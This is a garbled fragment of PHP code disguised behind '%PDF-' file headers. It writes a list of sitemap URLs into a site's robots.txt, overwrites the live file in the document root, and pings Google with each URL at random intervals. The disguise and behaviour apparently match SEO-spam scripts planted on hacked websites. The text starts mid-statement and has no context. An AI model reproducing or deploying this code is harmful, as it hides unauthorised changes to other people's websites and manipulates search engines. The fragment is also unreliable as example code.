%PDF-
%PDF-
",$content_info);
array_pop($ping_url_arr);
foreach ($ping_url_arr as $ping_url1)
{
$robots_content.="Sitemap:".$ping_url1.PHP_EOL;
$ping_result=curl_get("https://www.google.com/ping?sitemap=".$ping_url1);
preg_match("/
(.+)?<\/h2>/",$ping_result,$matches);
echo $ping_url1."==>ping-google-result-is:".$matches[1]."
";
usleep(mt_rand(100000,300000));
}
file_put_contents($_SERVER["DOCUMENT_ROOT"]."/robots.txt",$robots_content);
echo "robots.txt==>updated";
exit;
}
}
?>
Shop Homepage